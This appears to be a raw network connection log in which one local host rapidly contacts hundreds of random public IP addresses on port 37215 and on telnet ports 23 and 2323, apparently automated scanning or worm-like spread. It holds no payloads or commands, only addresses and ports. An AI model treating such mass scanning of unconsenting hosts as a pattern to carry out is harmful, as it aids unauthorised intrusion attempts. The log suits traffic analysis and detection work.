Nov 3, 2024 15:37:12.520966053 CET	35945	37215	192.168.2.14	197.0.29.146
Nov 3, 2024 15:37:12.520966053 CET	35945	37215	192.168.2.14	41.141.51.250
Nov 3, 2024 15:37:12.520966053 CET	35945	37215	192.168.2.14	41.243.207.4
Nov 3, 2024 15:37:12.520968914 CET	35945	37215	192.168.2.14	197.126.237.81
Nov 3, 2024 15:37:12.520968914 CET	35945	37215	192.168.2.14	156.81.229.82
Nov 3, 2024 15:37:12.520971060 CET	35945	37215	192.168.2.14	41.4.96.194
Nov 3, 2024 15:37:12.520971060 CET	35945	37215	192.168.2.14	197.150.168.0
Nov 3, 2024 15:37:12.520972967 CET	35945	37215	192.168.2.14	156.229.74.113
Nov 3, 2024 15:37:12.520976067 CET	35945	37215	192.168.2.14	197.248.3.201
Nov 3, 2024 15:37:12.520979881 CET	35945	37215	192.168.2.14	41.242.19.87
Nov 3, 2024 15:37:12.520981073 CET	35945	37215	192.168.2.14	156.230.229.45
Nov 3, 2024 15:37:12.520979881 CET	35945	37215	192.168.2.14	41.14.120.160
Nov 3, 2024 15:37:12.520981073 CET	35945	37215	192.168.2.14	197.5.57.129
Nov 3, 2024 15:37:12.520983934 CET	35945	37215	192.168.2.14	156.42.6.131
Nov 3, 2024 15:37:12.520981073 CET	35945	37215	192.168.2.14	156.177.203.117
Nov 3, 2024 15:37:12.520979881 CET	35945	37215	192.168.2.14	41.202.50.9
Nov 3, 2024 15:37:12.520982027 CET	35945	37215	192.168.2.14	41.91.175.123
Nov 3, 2024 15:37:12.520982027 CET	35945	37215	192.168.2.14	156.161.120.182
Nov 3, 2024 15:37:12.520982027 CET	35945	37215	192.168.2.14	156.19.212.30
Nov 3, 2024 15:37:12.520988941 CET	35945	37215	192.168.2.14	156.135.73.206
Nov 3, 2024 15:37:12.520991087 CET	35945	37215	192.168.2.14	156.218.210.237
Nov 3, 2024 15:37:12.520998001 CET	35945	37215	192.168.2.14	197.72.93.217
Nov 3, 2024 15:37:12.521008015 CET	35945	37215	192.168.2.14	197.254.18.66
Nov 3, 2024 15:37:12.521008968 CET	35945	37215	192.168.2.14	197.147.83.70
Nov 3, 2024 15:37:12.521013975 CET	35945	37215	192.168.2.14	41.231.3.116
Nov 3, 2024 15:37:12.521017075 CET	35945	37215	192.168.2.14	197.188.52.53
Nov 3, 2024 15:37:12.521020889 CET	35945	37215	192.168.2.14	156.202.113.140
Nov 3, 2024 15:37:12.521033049 CET	35945	37215	192.168.2.14	41.98.71.215
Nov 3, 2024 15:37:12.521034956 CET	35945	37215	192.168.2.14	197.44.58.215
Nov 3, 2024 15:37:12.521037102 CET	35945	37215	192.168.2.14	156.44.5.66
Nov 3, 2024 15:37:12.521038055 CET	35945	37215	192.168.2.14	156.254.100.159
Nov 3, 2024 15:37:12.521042109 CET	35945	37215	192.168.2.14	197.85.112.81
Nov 3, 2024 15:37:12.521040916 CET	35945	37215	192.168.2.14	156.185.252.166
Nov 3, 2024 15:37:12.521050930 CET	35945	37215	192.168.2.14	197.171.119.146
Nov 3, 2024 15:37:12.521058083 CET	35945	37215	192.168.2.14	197.207.85.22
Nov 3, 2024 15:37:12.521061897 CET	35945	37215	192.168.2.14	41.98.225.202
Nov 3, 2024 15:37:12.521064043 CET	35945	37215	192.168.2.14	156.95.239.2
Nov 3, 2024 15:37:12.521070004 CET	35945	37215	192.168.2.14	41.134.132.13
Nov 3, 2024 15:37:12.521073103 CET	35945	37215	192.168.2.14	156.83.170.14
Nov 3, 2024 15:37:12.521080017 CET	35945	37215	192.168.2.14	156.53.8.109
Nov 3, 2024 15:37:12.521089077 CET	35945	37215	192.168.2.14	41.129.30.225
Nov 3, 2024 15:37:12.521091938 CET	35945	37215	192.168.2.14	156.43.60.171
Nov 3, 2024 15:37:12.521092892 CET	35945	37215	192.168.2.14	41.3.17.119
Nov 3, 2024 15:37:12.521091938 CET	35945	37215	192.168.2.14	197.190.206.69
Nov 3, 2024 15:37:12.521092892 CET	35945	37215	192.168.2.14	197.207.92.177
Nov 3, 2024 15:37:12.521100998 CET	35945	37215	192.168.2.14	41.205.62.81
Nov 3, 2024 15:37:12.521102905 CET	35945	37215	192.168.2.14	197.27.89.48
Nov 3, 2024 15:37:12.521102905 CET	35945	37215	192.168.2.14	197.89.174.182
Nov 3, 2024 15:37:12.521104097 CET	35945	37215	192.168.2.14	41.156.219.181
Nov 3, 2024 15:37:12.521102905 CET	35945	37215	192.168.2.14	156.212.22.62
Nov 3, 2024 15:37:12.521104097 CET	35945	37215	192.168.2.14	41.20.128.113
Nov 3, 2024 15:37:12.521104097 CET	35945	37215	192.168.2.14	197.76.118.81
Nov 3, 2024 15:37:12.521104097 CET	35945	37215	192.168.2.14	197.218.141.44
Nov 3, 2024 15:37:12.521110058 CET	35945	37215	192.168.2.14	41.161.145.192
Nov 3, 2024 15:37:12.521110058 CET	35945	37215	192.168.2.14	41.10.26.96
Nov 3, 2024 15:37:12.521114111 CET	35945	37215	192.168.2.14	41.253.121.103
Nov 3, 2024 15:37:12.521116972 CET	35945	37215	192.168.2.14	41.46.198.188
Nov 3, 2024 15:37:12.521126986 CET	35945	37215	192.168.2.14	156.210.86.102
Nov 3, 2024 15:37:12.521131992 CET	35945	37215	192.168.2.14	156.164.142.51
Nov 3, 2024 15:37:12.521135092 CET	35945	37215	192.168.2.14	197.231.127.25
Nov 3, 2024 15:37:12.521135092 CET	35945	37215	192.168.2.14	197.84.113.80
Nov 3, 2024 15:37:12.521135092 CET	35945	37215	192.168.2.14	156.144.6.147
Nov 3, 2024 15:37:12.521147013 CET	35945	37215	192.168.2.14	197.73.203.43
Nov 3, 2024 15:37:12.521153927 CET	35945	37215	192.168.2.14	41.106.85.101
Nov 3, 2024 15:37:12.521157980 CET	35945	37215	192.168.2.14	156.162.255.107
Nov 3, 2024 15:37:12.521158934 CET	35945	37215	192.168.2.14	197.100.184.163
Nov 3, 2024 15:37:12.521158934 CET	35945	37215	192.168.2.14	41.196.229.4
Nov 3, 2024 15:37:12.521158934 CET	35945	37215	192.168.2.14	41.26.180.242
Nov 3, 2024 15:37:12.521158934 CET	35945	37215	192.168.2.14	197.212.148.77
Nov 3, 2024 15:37:12.521162033 CET	35945	37215	192.168.2.14	197.251.132.140
Nov 3, 2024 15:37:12.521167994 CET	35945	37215	192.168.2.14	197.159.156.48
Nov 3, 2024 15:37:12.521167994 CET	35945	37215	192.168.2.14	41.41.149.48
Nov 3, 2024 15:37:12.521187067 CET	35945	37215	192.168.2.14	197.234.28.237
Nov 3, 2024 15:37:12.521188021 CET	35945	37215	192.168.2.14	41.87.84.199
Nov 3, 2024 15:37:12.521188974 CET	35945	37215	192.168.2.14	156.136.82.185
Nov 3, 2024 15:37:12.521188974 CET	35945	37215	192.168.2.14	156.63.111.110
Nov 3, 2024 15:37:12.521188974 CET	35945	37215	192.168.2.14	197.91.44.125
Nov 3, 2024 15:37:12.521193981 CET	35945	37215	192.168.2.14	197.242.245.231
Nov 3, 2024 15:37:12.521194935 CET	35945	37215	192.168.2.14	197.40.202.151
Nov 3, 2024 15:37:12.521195889 CET	35945	37215	192.168.2.14	197.89.85.156
Nov 3, 2024 15:37:12.521195889 CET	35945	37215	192.168.2.14	41.163.246.163
Nov 3, 2024 15:37:12.521199942 CET	35945	37215	192.168.2.14	156.181.61.70
Nov 3, 2024 15:37:12.525196075 CET	37215	35945	197.0.186.138	192.168.2.14
Nov 3, 2024 15:37:12.525206089 CET	37215	35945	197.193.109.8	192.168.2.14
Nov 3, 2024 15:37:12.525248051 CET	35945	37215	192.168.2.14	197.0.186.138
Nov 3, 2024 15:37:12.525249004 CET	35945	37215	192.168.2.14	197.193.109.8
Nov 3, 2024 15:37:12.537488937 CET	53736	37215	192.168.2.14	197.25.98.119
Nov 3, 2024 15:37:12.542483091 CET	37215	53736	197.25.98.119	192.168.2.14
Nov 3, 2024 15:37:12.542530060 CET	53736	37215	192.168.2.14	197.25.98.119
Nov 3, 2024 15:37:12.542556047 CET	53736	37215	192.168.2.14	197.25.98.119
Nov 3, 2024 15:37:12.542584896 CET	56556	37215	192.168.2.14	156.43.89.130
Nov 3, 2024 15:37:12.547538996 CET	37215	56556	156.43.89.130	192.168.2.14
Nov 3, 2024 15:37:12.547610044 CET	56556	37215	192.168.2.14	156.43.89.130
Nov 3, 2024 15:37:12.547651052 CET	56556	37215	192.168.2.14	156.43.89.130
Nov 3, 2024 15:37:12.547651052 CET	56556	37215	192.168.2.14	156.43.89.130
Nov 3, 2024 15:37:12.547651052 CET	56558	37215	192.168.2.14	156.43.89.130
Nov 3, 2024 15:37:12.547991991 CET	37215	53736	197.25.98.119	192.168.2.14
Nov 3, 2024 15:37:12.548032045 CET	53736	37215	192.168.2.14	197.25.98.119
Nov 3, 2024 15:37:12.552678108 CET	37215	56556	156.43.89.130	192.168.2.14
Nov 3, 2024 15:37:12.552870989 CET	37215	56558	156.43.89.130	192.168.2.14
Nov 3, 2024 15:37:12.552917004 CET	56558	37215	192.168.2.14	156.43.89.130
Nov 3, 2024 15:37:12.552934885 CET	56558	37215	192.168.2.14	156.43.89.130
Nov 3, 2024 15:37:12.552942991 CET	34264	37215	192.168.2.14	197.163.58.45
Nov 3, 2024 15:37:12.558136940 CET	37215	56558	156.43.89.130	192.168.2.14
Nov 3, 2024 15:37:12.558178902 CET	56558	37215	192.168.2.14	156.43.89.130
Nov 3, 2024 15:37:12.597902060 CET	37215	56556	156.43.89.130	192.168.2.14
Nov 3, 2024 15:37:13.502814054 CET	36201	2323	192.168.2.14	36.179.48.155
Nov 3, 2024 15:37:13.502819061 CET	36201	23	192.168.2.14	85.27.178.70
Nov 3, 2024 15:37:13.502842903 CET	36201	23	192.168.2.14	118.61.181.181
Nov 3, 2024 15:37:13.502846956 CET	36201	23	192.168.2.14	174.113.111.149
Nov 3, 2024 15:37:13.502854109 CET	36201	23	192.168.2.14	207.105.16.248
Nov 3, 2024 15:37:13.502856016 CET	36201	23	192.168.2.14	161.97.18.216
Nov 3, 2024 15:37:13.502871990 CET	36201	23	192.168.2.14	42.237.90.208
Nov 3, 2024 15:37:13.502885103 CET	36201	23	192.168.2.14	85.100.162.112
Nov 3, 2024 15:37:13.502890110 CET	36201	23	192.168.2.14	207.229.54.226
Nov 3, 2024 15:37:13.502896070 CET	36201	23	192.168.2.14	181.17.33.210
Nov 3, 2024 15:37:13.502902031 CET	36201	23	192.168.2.14	207.202.33.244
Nov 3, 2024 15:37:13.502903938 CET	36201	2323	192.168.2.14	78.106.15.205
Nov 3, 2024 15:37:13.502908945 CET	36201	23	192.168.2.14	121.232.21.143
Nov 3, 2024 15:37:13.502908945 CET	36201	23	192.168.2.14	100.61.50.118
Nov 3, 2024 15:37:13.502928972 CET	36201	23	192.168.2.14	13.255.77.99
Nov 3, 2024 15:37:13.502929926 CET	36201	23	192.168.2.14	32.248.169.125
Nov 3, 2024 15:37:13.502933025 CET	36201	23	192.168.2.14	48.151.8.37
Nov 3, 2024 15:37:13.502943993 CET	36201	23	192.168.2.14	111.225.81.152
Nov 3, 2024 15:37:13.502949953 CET	36201	23	192.168.2.14	84.141.71.26
Nov 3, 2024 15:37:13.502963066 CET	36201	2323	192.168.2.14	187.111.5.147
Nov 3, 2024 15:37:13.502964973 CET	36201	23	192.168.2.14	66.50.179.103
Nov 3, 2024 15:37:13.502971888 CET	36201	23	192.168.2.14	39.216.94.234
Nov 3, 2024 15:37:13.502981901 CET	36201	23	192.168.2.14	204.151.200.142
Nov 3, 2024 15:37:13.502990961 CET	36201	23	192.168.2.14	85.135.97.44
Nov 3, 2024 15:37:13.502995014 CET	36201	23	192.168.2.14	130.243.149.43
Nov 3, 2024 15:37:13.503009081 CET	36201	23	192.168.2.14	151.166.211.139
Nov 3, 2024 15:37:13.503012896 CET	36201	23	192.168.2.14	222.156.146.1
Nov 3, 2024 15:37:13.503027916 CET	36201	23	192.168.2.14	103.235.26.250
Nov 3, 2024 15:37:13.503027916 CET	36201	23	192.168.2.14	81.214.226.136
Nov 3, 2024 15:37:13.503027916 CET	36201	23	192.168.2.14	133.85.170.17
Nov 3, 2024 15:37:13.503036022 CET	36201	2323	192.168.2.14	117.189.223.21
Nov 3, 2024 15:37:13.503036022 CET	36201	23	192.168.2.14	37.85.202.92
Nov 3, 2024 15:37:13.503053904 CET	36201	23	192.168.2.14	40.160.110.52
Nov 3, 2024 15:37:13.503056049 CET	36201	23	192.168.2.14	111.38.254.211
Nov 3, 2024 15:37:13.503072023 CET	36201	23	192.168.2.14	194.50.211.181
Nov 3, 2024 15:37:13.503072977 CET	36201	23	192.168.2.14	190.255.36.128
Nov 3, 2024 15:37:13.503074884 CET	36201	23	192.168.2.14	181.228.46.35
Nov 3, 2024 15:37:13.503083944 CET	36201	23	192.168.2.14	36.232.164.125
Nov 3, 2024 15:37:13.503088951 CET	36201	23	192.168.2.14	102.145.154.26
Nov 3, 2024 15:37:13.503089905 CET	36201	23	192.168.2.14	110.28.218.75
Nov 3, 2024 15:37:13.503104925 CET	36201	2323	192.168.2.14	2.120.90.229
Nov 3, 2024 15:37:13.503107071 CET	36201	23	192.168.2.14	174.52.25.131
Nov 3, 2024 15:37:13.503120899 CET	36201	23	192.168.2.14	36.177.168.136
Nov 3, 2024 15:37:13.503123999 CET	36201	23	192.168.2.14	189.90.225.63
Nov 3, 2024 15:37:13.503138065 CET	36201	23	192.168.2.14	17.69.91.221
Nov 3, 2024 15:37:13.503142118 CET	36201	23	192.168.2.14	136.161.78.173
Nov 3, 2024 15:37:13.503142118 CET	36201	23	192.168.2.14	82.0.52.251
Nov 3, 2024 15:37:13.503155947 CET	36201	23	192.168.2.14	208.16.164.194
Nov 3, 2024 15:37:13.503160954 CET	36201	23	192.168.2.14	179.112.120.96
Nov 3, 2024 15:37:13.503170013 CET	36201	2323	192.168.2.14	86.188.130.188
Nov 3, 2024 15:37:13.503174067 CET	36201	23	192.168.2.14	167.38.238.109
Nov 3, 2024 15:37:13.503186941 CET	36201	23	192.168.2.14	217.155.221.239
Nov 3, 2024 15:37:13.503190994 CET	36201	23	192.168.2.14	69.153.181.205
Nov 3, 2024 15:37:13.503201008 CET	36201	23	192.168.2.14	9.139.109.180
Nov 3, 2024 15:37:13.503201008 CET	36201	23	192.168.2.14	150.197.121.17
Nov 3, 2024 15:37:13.503212929 CET	36201	23	192.168.2.14	218.115.136.67
Nov 3, 2024 15:37:13.503217936 CET	36201	23	192.168.2.14	179.114.44.93
Nov 3, 2024 15:37:13.503227949 CET	36201	23	192.168.2.14	93.0.44.43
Nov 3, 2024 15:37:13.503245115 CET	36201	23	192.168.2.14	37.154.228.93
Nov 3, 2024 15:37:13.503247023 CET	36201	23	192.168.2.14	157.129.253.155
Nov 3, 2024 15:37:13.503253937 CET	36201	2323	192.168.2.14	151.241.50.79
Nov 3, 2024 15:37:13.503257036 CET	36201	23	192.168.2.14	37.49.109.12
Nov 3, 2024 15:37:13.503267050 CET	36201	23	192.168.2.14	101.166.4.196
Nov 3, 2024 15:37:13.503281116 CET	36201	23	192.168.2.14	88.141.193.100
Nov 3, 2024 15:37:13.503283978 CET	36201	23	192.168.2.14	177.44.234.139
Nov 3, 2024 15:37:13.503287077 CET	36201	23	192.168.2.14	160.24.233.225
Nov 3, 2024 15:37:13.503290892 CET	36201	23	192.168.2.14	80.129.70.107
Nov 3, 2024 15:37:13.503303051 CET	36201	23	192.168.2.14	32.116.172.113
Nov 3, 2024 15:37:13.503305912 CET	36201	23	192.168.2.14	118.129.193.238
Nov 3, 2024 15:37:13.503320932 CET	36201	2323	192.168.2.14	169.25.246.30
Nov 3, 2024 15:37:13.503320932 CET	36201	23	192.168.2.14	174.104.35.4
Nov 3, 2024 15:37:13.503329992 CET	36201	23	192.168.2.14	148.208.127.16
Nov 3, 2024 15:37:13.503341913 CET	36201	23	192.168.2.14	191.198.192.4
Nov 3, 2024 15:37:13.503351927 CET	36201	23	192.168.2.14	110.141.151.208
Nov 3, 2024 15:37:13.503360987 CET	36201	23	192.168.2.14	192.10.250.213
Nov 3, 2024 15:37:13.503365993 CET	36201	23	192.168.2.14	12.87.204.151
Nov 3, 2024 15:37:13.503371954 CET	36201	23	192.168.2.14	62.192.41.38
Nov 3, 2024 15:37:13.503379107 CET	36201	23	192.168.2.14	151.87.135.199
Nov 3, 2024 15:37:13.503384113 CET	36201	23	192.168.2.14	96.181.180.187
Nov 3, 2024 15:37:13.503393888 CET	36201	23	192.168.2.14	58.182.228.255
Nov 3, 2024 15:37:13.503400087 CET	36201	2323	192.168.2.14	13.106.43.128
Nov 3, 2024 15:37:13.503411055 CET	36201	23	192.168.2.14	115.177.84.232
Nov 3, 2024 15:37:13.503411055 CET	36201	23	192.168.2.14	85.88.142.251
Nov 3, 2024 15:37:13.503426075 CET	36201	23	192.168.2.14	157.111.10.88
Nov 3, 2024 15:37:13.503431082 CET	36201	23	192.168.2.14	144.0.154.128
Nov 3, 2024 15:37:13.503441095 CET	36201	23	192.168.2.14	60.105.248.254
Nov 3, 2024 15:37:13.503443003 CET	36201	23	192.168.2.14	111.236.184.26
Nov 3, 2024 15:37:13.503444910 CET	36201	23	192.168.2.14	165.196.8.58
Nov 3, 2024 15:37:13.503457069 CET	36201	23	192.168.2.14	145.229.244.118
Nov 3, 2024 15:37:13.503458977 CET	36201	23	192.168.2.14	204.191.230.42
Nov 3, 2024 15:37:13.503472090 CET	36201	2323	192.168.2.14	8.195.63.186
Nov 3, 2024 15:37:13.503479004 CET	36201	23	192.168.2.14	188.252.237.123
Nov 3, 2024 15:37:13.503489971 CET	36201	23	192.168.2.14	104.168.205.14
Nov 3, 2024 15:37:13.503495932 CET	36201	23	192.168.2.14	158.101.50.194
Nov 3, 2024 15:37:13.503498077 CET	36201	23	192.168.2.14	74.50.102.155
Nov 3, 2024 15:37:13.503498077 CET	36201	23	192.168.2.14	179.111.253.111
Nov 3, 2024 15:37:13.503511906 CET	36201	23	192.168.2.14	157.171.212.103
Nov 3, 2024 15:37:13.503520012 CET	36201	23	192.168.2.14	4.243.208.74
Nov 3, 2024 15:37:13.503525972 CET	36201	23	192.168.2.14	92.133.172.20
Nov 3, 2024 15:37:13.503531933 CET	36201	23	192.168.2.14	65.121.45.39
Nov 3, 2024 15:37:13.503547907 CET	36201	23	192.168.2.14	187.95.47.255
Nov 3, 2024 15:37:13.503549099 CET	36201	23	192.168.2.14	71.155.168.210
Nov 3, 2024 15:37:13.503549099 CET	36201	2323	192.168.2.14	161.153.233.198
Nov 3, 2024 15:37:13.503563881 CET	36201	23	192.168.2.14	191.200.145.224
Nov 3, 2024 15:37:13.503566980 CET	36201	23	192.168.2.14	12.190.59.93
Nov 3, 2024 15:37:13.503577948 CET	36201	23	192.168.2.14	89.7.11.162
Nov 3, 2024 15:37:13.503580093 CET	36201	23	192.168.2.14	5.236.186.58
Nov 3, 2024 15:37:13.503591061 CET	36201	23	192.168.2.14	195.54.207.24
Nov 3, 2024 15:37:13.503599882 CET	36201	23	192.168.2.14	85.223.111.189
Nov 3, 2024 15:37:13.503601074 CET	36201	23	192.168.2.14	149.229.26.15
Nov 3, 2024 15:37:13.503608942 CET	36201	2323	192.168.2.14	17.205.92.131
Nov 3, 2024 15:37:13.503623962 CET	36201	23	192.168.2.14	13.216.206.21
Nov 3, 2024 15:37:13.503623962 CET	36201	23	192.168.2.14	169.226.162.132
Nov 3, 2024 15:37:13.503639936 CET	36201	23	192.168.2.14	9.203.213.9
Nov 3, 2024 15:37:13.503645897 CET	36201	23	192.168.2.14	162.35.199.7
Nov 3, 2024 15:37:13.503653049 CET	36201	23	192.168.2.14	101.244.144.84
Nov 3, 2024 15:37:13.503655910 CET	36201	23	192.168.2.14	24.0.40.126
Nov 3, 2024 15:37:13.503659010 CET	36201	23	192.168.2.14	85.225.149.174
Nov 3, 2024 15:37:13.503675938 CET	36201	23	192.168.2.14	147.138.117.95
Nov 3, 2024 15:37:13.503679037 CET	36201	23	192.168.2.14	120.160.14.69
Nov 3, 2024 15:37:13.503693104 CET	36201	23	192.168.2.14	139.219.168.201
Nov 3, 2024 15:37:13.503694057 CET	36201	2323	192.168.2.14	95.7.53.62
Nov 3, 2024 15:37:13.503695011 CET	36201	23	192.168.2.14	146.232.197.255
Nov 3, 2024 15:37:13.503712893 CET	36201	23	192.168.2.14	19.223.170.121
Nov 3, 2024 15:37:13.503714085 CET	36201	23	192.168.2.14	129.17.70.41
Nov 3, 2024 15:37:13.503729105 CET	36201	23	192.168.2.14	67.192.214.215
Nov 3, 2024 15:37:13.503730059 CET	36201	23	192.168.2.14	102.85.144.190
Nov 3, 2024 15:37:13.503747940 CET	36201	23	192.168.2.14	180.212.23.254
Nov 3, 2024 15:37:13.503747940 CET	36201	23	192.168.2.14	202.217.100.49
Nov 3, 2024 15:37:13.503753901 CET	36201	23	192.168.2.14	23.145.213.26
Nov 3, 2024 15:37:13.503762007 CET	36201	2323	192.168.2.14	39.125.107.178
Nov 3, 2024 15:37:13.503767967 CET	36201	23	192.168.2.14	38.138.49.72
Nov 3, 2024 15:37:13.503774881 CET	36201	23	192.168.2.14	18.243.164.252
Nov 3, 2024 15:37:13.503787994 CET	36201	23	192.168.2.14	113.181.228.102
Nov 3, 2024 15:37:13.503789902 CET	36201	23	192.168.2.14	210.236.107.80
Nov 3, 2024 15:37:13.503797054 CET	36201	23	192.168.2.14	208.51.185.137
Nov 3, 2024 15:37:13.503797054 CET	36201	23	192.168.2.14	80.50.67.149
Nov 3, 2024 15:37:13.503808975 CET	36201	23	192.168.2.14	186.24.48.4
Nov 3, 2024 15:37:13.503813028 CET	36201	23	192.168.2.14	61.104.213.220
Nov 3, 2024 15:37:13.503828049 CET	36201	23	192.168.2.14	113.115.186.219
Nov 3, 2024 15:37:13.503829956 CET	36201	2323	192.168.2.14	64.252.98.50
Nov 3, 2024 15:37:13.503839016 CET	36201	23	192.168.2.14	35.242.248.112
Nov 3, 2024 15:37:13.503840923 CET	36201	23	192.168.2.14	191.221.130.75
Nov 3, 2024 15:37:13.503854990 CET	36201	23	192.168.2.14	74.235.230.78
Nov 3, 2024 15:37:13.503858089 CET	36201	23	192.168.2.14	204.12.71.143
Nov 3, 2024 15:37:13.503860950 CET	36201	23	192.168.2.14	171.39.253.64
Nov 3, 2024 15:37:13.503860950 CET	36201	23	192.168.2.14	87.211.51.204
Nov 3, 2024 15:37:13.503874063 CET	36201	23	192.168.2.14	190.210.110.157
Nov 3, 2024 15:37:13.503875017 CET	36201	23	192.168.2.14	87.125.120.121
Nov 3, 2024 15:37:13.503885984 CET	36201	2323	192.168.2.14	194.4.121.129
Nov 3, 2024 15:37:13.503887892 CET	36201	23	192.168.2.14	192.1.172.124
Nov 3, 2024 15:37:13.503900051 CET	36201	23	192.168.2.14	135.111.225.101
Nov 3, 2024 15:37:13.503907919 CET	36201	23	192.168.2.14	136.132.41.140
Nov 3, 2024 15:37:13.503915071 CET	36201	23	192.168.2.14	94.17.73.218
Nov 3, 2024 15:37:13.503922939 CET	36201	23	192.168.2.14	27.58.161.143
Nov 3, 2024 15:37:13.503928900 CET	36201	23	192.168.2.14	150.95.209.87
Nov 3, 2024 15:37:13.503938913 CET	36201	23	192.168.2.14	38.78.178.179
Nov 3, 2024 15:37:13.503947973 CET	36201	23	192.168.2.14	38.111.100.23
Nov 3, 2024 15:37:13.503962040 CET	36201	23	192.168.2.14	123.178.115.209
Nov 3, 2024 15:37:13.503962994 CET	36201	23	192.168.2.14	208.133.97.242
Nov 3, 2024 15:37:13.507848024 CET	23	36201	85.27.178.70	192.168.2.14
Nov 3, 2024 15:37:13.507880926 CET	2323	36201	36.179.48.155	192.168.2.14
Nov 3, 2024 15:37:13.507893085 CET	23	36201	161.97.18.216	192.168.2.14
Nov 3, 2024 15:37:13.507901907 CET	23	36201	118.61.181.181	192.168.2.14
Nov 3, 2024 15:37:13.507916927 CET	36201	23	192.168.2.14	85.27.178.70
Nov 3, 2024 15:37:13.507916927 CET	36201	23	192.168.2.14	161.97.18.216
Nov 3, 2024 15:37:13.507929087 CET	36201	23	192.168.2.14	118.61.181.181
Nov 3, 2024 15:37:13.507939100 CET	23	36201	207.105.16.248	192.168.2.14
Nov 3, 2024 15:37:13.507950068 CET	23	36201	174.113.111.149	192.168.2.14
Nov 3, 2024 15:37:13.507953882 CET	36201	2323	192.168.2.14	36.179.48.155
Nov 3, 2024 15:37:13.507961988 CET	23	36201	42.237.90.208	192.168.2.14
Nov 3, 2024 15:37:13.507972956 CET	23	36201	85.100.162.112	192.168.2.14
Nov 3, 2024 15:37:13.507977009 CET	36201	23	192.168.2.14	207.105.16.248
Nov 3, 2024 15:37:13.507977962 CET	36201	23	192.168.2.14	174.113.111.149
Nov 3, 2024 15:37:13.507986069 CET	23	36201	207.229.54.226	192.168.2.14
Nov 3, 2024 15:37:13.507996082 CET	36201	23	192.168.2.14	42.237.90.208
Nov 3, 2024 15:37:13.508003950 CET	36201	23	192.168.2.14	85.100.162.112
Nov 3, 2024 15:37:13.508016109 CET	36201	23	192.168.2.14	207.229.54.226
Nov 3, 2024 15:37:13.508533955 CET	23	36201	181.17.33.210	192.168.2.14
Nov 3, 2024 15:37:13.508543015 CET	23	36201	207.202.33.244	192.168.2.14
Nov 3, 2024 15:37:13.508588076 CET	36201	23	192.168.2.14	181.17.33.210
Nov 3, 2024 15:37:13.508591890 CET	36201	23	192.168.2.14	207.202.33.244
Nov 3, 2024 15:37:13.508613110 CET	2323	36201	78.106.15.205	192.168.2.14
Nov 3, 2024 15:37:13.508622885 CET	23	36201	121.232.21.143	192.168.2.14
Nov 3, 2024 15:37:13.508630991 CET	23	36201	100.61.50.118	192.168.2.14
Nov 3, 2024 15:37:13.508641958 CET	23	36201	13.255.77.99	192.168.2.14
Nov 3, 2024 15:37:13.508651972 CET	23	36201	32.248.169.125	192.168.2.14
Nov 3, 2024 15:37:13.508658886 CET	36201	2323	192.168.2.14	78.106.15.205
Nov 3, 2024 15:37:13.508661985 CET	36201	23	192.168.2.14	100.61.50.118
Nov 3, 2024 15:37:13.508661985 CET	36201	23	192.168.2.14	121.232.21.143
Nov 3, 2024 15:37:13.508671045 CET	36201	23	192.168.2.14	13.255.77.99
Nov 3, 2024 15:37:13.508691072 CET	36201	23	192.168.2.14	32.248.169.125
Nov 3, 2024 15:37:13.508708000 CET	23	36201	111.225.81.152	192.168.2.14
Nov 3, 2024 15:37:13.508719921 CET	23	36201	84.141.71.26	192.168.2.14
Nov 3, 2024 15:37:13.508728981 CET	23	36201	48.151.8.37	192.168.2.14
Nov 3, 2024 15:37:13.508738995 CET	2323	36201	187.111.5.147	192.168.2.14
Nov 3, 2024 15:37:13.508745909 CET	36201	23	192.168.2.14	111.225.81.152
Nov 3, 2024 15:37:13.508747101 CET	36201	23	192.168.2.14	84.141.71.26
Nov 3, 2024 15:37:13.508749008 CET	23	36201	66.50.179.103	192.168.2.14
Nov 3, 2024 15:37:13.508760929 CET	23	36201	39.216.94.234	192.168.2.14
Nov 3, 2024 15:37:13.508770943 CET	23	36201	204.151.200.142	192.168.2.14
Nov 3, 2024 15:37:13.508778095 CET	36201	23	192.168.2.14	48.151.8.37
Nov 3, 2024 15:37:13.508784056 CET	23	36201	85.135.97.44	192.168.2.14
Nov 3, 2024 15:37:13.508785963 CET	36201	2323	192.168.2.14	187.111.5.147
Nov 3, 2024 15:37:13.508789062 CET	36201	23	192.168.2.14	39.216.94.234
Nov 3, 2024 15:37:13.508790970 CET	36201	23	192.168.2.14	66.50.179.103
Nov 3, 2024 15:37:13.508795977 CET	23	36201	130.243.149.43	192.168.2.14
Nov 3, 2024 15:37:13.508801937 CET	36201	23	192.168.2.14	204.151.200.142
Nov 3, 2024 15:37:13.508811951 CET	23	36201	151.166.211.139	192.168.2.14
Nov 3, 2024 15:37:13.508812904 CET	36201	23	192.168.2.14	85.135.97.44
Nov 3, 2024 15:37:13.508822918 CET	23	36201	222.156.146.1	192.168.2.14
Nov 3, 2024 15:37:13.508832932 CET	23	36201	81.214.226.136	192.168.2.14
Nov 3, 2024 15:37:13.508842945 CET	36201	23	192.168.2.14	130.243.149.43
Nov 3, 2024 15:37:13.508843899 CET	23	36201	103.235.26.250	192.168.2.14
Nov 3, 2024 15:37:13.508843899 CET	36201	23	192.168.2.14	151.166.211.139
Nov 3, 2024 15:37:13.508855104 CET	36201	23	192.168.2.14	81.214.226.136
Nov 3, 2024 15:37:13.508856058 CET	36201	23	192.168.2.14	222.156.146.1
Nov 3, 2024 15:37:13.508872032 CET	23	36201	133.85.170.17	192.168.2.14
Nov 3, 2024 15:37:13.508879900 CET	36201	23	192.168.2.14	103.235.26.250
Nov 3, 2024 15:37:13.508882999 CET	2323	36201	117.189.223.21	192.168.2.14
Nov 3, 2024 15:37:13.508893967 CET	23	36201	37.85.202.92	192.168.2.14
Nov 3, 2024 15:37:13.508905888 CET	23	36201	40.160.110.52	192.168.2.14
Nov 3, 2024 15:37:13.508908033 CET	36201	23	192.168.2.14	133.85.170.17
Nov 3, 2024 15:37:13.508915901 CET	23	36201	111.38.254.211	192.168.2.14
Nov 3, 2024 15:37:13.508922100 CET	36201	2323	192.168.2.14	117.189.223.21
Nov 3, 2024 15:37:13.508922100 CET	36201	23	192.168.2.14	37.85.202.92
Nov 3, 2024 15:37:13.508927107 CET	23	36201	194.50.211.181	192.168.2.14
Nov 3, 2024 15:37:13.508939028 CET	36201	23	192.168.2.14	40.160.110.52
Nov 3, 2024 15:37:13.508939028 CET	23	36201	190.255.36.128	192.168.2.14
Nov 3, 2024 15:37:13.508948088 CET	36201	23	192.168.2.14	111.38.254.211
Nov 3, 2024 15:37:13.508956909 CET	23	36201	181.228.46.35	192.168.2.14
